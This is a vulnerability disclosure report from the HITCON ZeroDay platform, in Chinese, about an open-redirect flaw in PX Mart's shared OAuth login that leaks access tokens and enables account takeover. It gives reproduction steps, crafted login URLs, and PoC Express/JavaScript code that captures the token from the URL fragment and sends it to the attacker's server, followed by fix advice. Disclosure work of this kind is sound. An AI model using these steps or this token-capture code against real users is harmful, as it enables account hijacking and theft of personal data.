Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00307
- Vendor: 全聯實業
- Title: 全聯 官網/小時達/全電商平台 登入系統 Open Redirect caused Account Takeover
- Introduction: 攻擊者可以利用漏洞修改 redirect_uri 參數,使得用戶在不知情的情況下點擊連結,被重定向到攻擊者控制的網站
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2025/04/13 00:12:31 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/13 01:40:48 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/13 01:41:44 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/13 02:14:33 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/13 02:16:57 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/14 18:20:33 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/15 00:16:40 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/16 20:35:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:02:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:02:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:02:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/13 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2025/06/16 10:21:15 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/23 07:19:48 : 確認已修補 (由 CheN.. 更新此狀態)
- 2025/06/23 08:51:39 : 已修補 (由 組織帳號 更新此狀態)
- 2025/06/24 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00307
- 通報者:SamChen_696 (CheN..)
- 風險:嚴重
- 類型:未驗證的 URL 轉址 (Unvalidated Redirects and Forwards)
參考資料
OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
相關網址
https://alb.pxpay.com.tw/#/login?client_id=adc73953-90ef-4f8b-b289-272e2286b7ff&response_type=token&redirect_uri=https%3A%2F%2Fpxbox.es.pxmart.com.tw%2FmyPage
https://alb.pxpay.com.tw/#/login?client_id=4776caff-fc5c-4dc2-984a-3c01d4126bd1&response_type=token&redirect_uri=https%3A%2F%2Fwww.pxmart.com.tw%2Fmember%2Fcard
https://shop.pxgo.com.tw/mweb/?gad_source=1#/access_token=[Your Token]
https://pxbox.es.pxmart.com.tw/myPage#access_token=[Your Token]
https://www.pxmart.com.tw/member/card#access_token=[Your Token]
敘述
註:已再次向我們公司報告此問題,為確保漏洞能得到妥善的修復,決定在hitcon平台通報此問題,平台有完善流程
概述
漏洞出現在全聯外送平台的登入流程中。當用戶成功登入後,本應正常重定向至預設頁面,但攻擊者可以利用漏洞修改 redirect_uri 參數,使得用戶在不知情的情況下點擊連結,被重定向到攻擊者控制的網站。重定向 URL 中包含 access token(例如 #access_token=...),攻擊者能夠輕易截獲並利用該 token 實現帳戶接管。使攻擊者能夠竊取用戶的基本信息(姓名、電話、住址 資料等),更可能直接操縱用戶帳戶進行未授權的訂單操作,嚴重破壞平台安全與用戶隱私。
重現步驟
-
在登入頁面構造惡意連結
攻擊者可以構造如下連結,其中 redirect_uri 被設置為攻擊者控制的域名:
https://alb.pxpay.com.tw/#/login?client_id=e790b859-22b7-4eeb-bfff-60d85c636f4a&response_type=token&redirect_uri=[ attacker web ] -
觸發重定向與 token 泄露
當用戶在已登入或曾經在瀏覽器中登入(留有快取/緩存)全聯帳號狀態下點擊該連結後,系統完成登入驗證後,會將用戶重定向至攻擊者指定的網站。觀察重定向後的 URL,發現其中包含 access token,例如:
https://samchen.blog/index.html#access_token=eyJhbGciOXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXU
攻擊者控制的網站部署以下程式碼,利用JavaScript 讀取 URL fragment,並將 token 傳送到攻擊者伺服器
Attacker Web PoC Code:
const express = require('express');
const app = express();
const port = 3000;
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Fragment Get</title>
</head>
<body>
<h1>Captured URL Fragment</h1>
<p id="token"></p>
<script>
const token = document.location.hash;
document.getElementById('token').textContent = token;
console.log("Captured token:", token);
fetch('/log', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ token: token })
})
.then(response => response.text())
.then(data => console.log('Server response:', data))
.catch(error => console.error('Error:', error));
</script>
</body>
</html>
`);
});
app.post('/log', (req, res) => {
console.log("Received token from client:", req.body.token);
res.send("Token logged successfully");
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
3.驗證帳戶接管
觀察到使用者進行登入驗證完電話號碼後給定的access token會透過“https://shop.pxgo.com.tw/mweb/?gad_source=1#/access_token=”驗證。因此將截獲的 token 融入到下列 URL 中,模擬正常的驗證流程:“https://shop.pxgo.com.tw/mweb/?gad_source=1#/access_token=eyJhbGciOXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXU”訪問此 URL 時,系統將直接使用該 token 進行身份驗證,使攻擊者能夠接管該帳戶,而無需輸入密碼和完成電話驗證。
影響
-
帳戶接管(ATO):
攻擊者可利用竊取的 access token 直接接管用戶帳號,竊取用戶的敏感個資(包括姓名、電話、住址 資料等),對用戶隱私造成嚴重威脅。 -
未授權訂單操作:利用接管的帳戶,攻擊者可在平台上進行未授權的訂餐操作。
-
如果該漏洞被大規模利用,可能導致大量用戶的敏感數據外洩
-
嚴重違反平台內提及的相關政策和條款,需得到妥善修補
附註:
全電商與小時達使用相同的登入系統,故全電商平台同樣適用於此漏洞(已經測試)
Implicit flow 已被證實存在許多安全問題,不再推薦使用(Ex:就算登入網站redirect_uri 參數有正確限制白名單僅能重定向到域名shop.pxgo.com.tw和pxbox.es.pxmart.com.tw下,但如果今天攻擊者在此2個網域下找到開放重定向漏洞,就能藉此利用重定向鏈再次導向攻擊者網站竊取access token)
參考:
https://blog.logto.io/implicit-flow-is-dead
https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-implicit-grant-flow
https://curity.io/resources/learn/oauth-implicit-flow/
https://sec.okta.com/articles/2021/02/stealing-oauth-tokens-open-redirects/
2025/04/15 Update
我發現全聯官網也使用該登入系統 經測試後同樣適用此漏洞,登入後可查看福利卡資訊,還有察覺到三個網站皆使用相同的access token,即受害人小時達帳號token遭竊取後 攻擊者可以使用該token登入官網和全電商平台,修補建議及其他資訊同上
修補建議
加強 redirect_uri 驗證:嚴格限制可用的重定向網址,僅允許預先定義的白名單域名,並拒絕任何非授權的 redirect_uri 請求
Access Token 保護:實施 token 使用次數或有效期限制,例如每個 token 只能使用一次,使用後即自動失效。
或是直接改用更安全的 OAuth 流程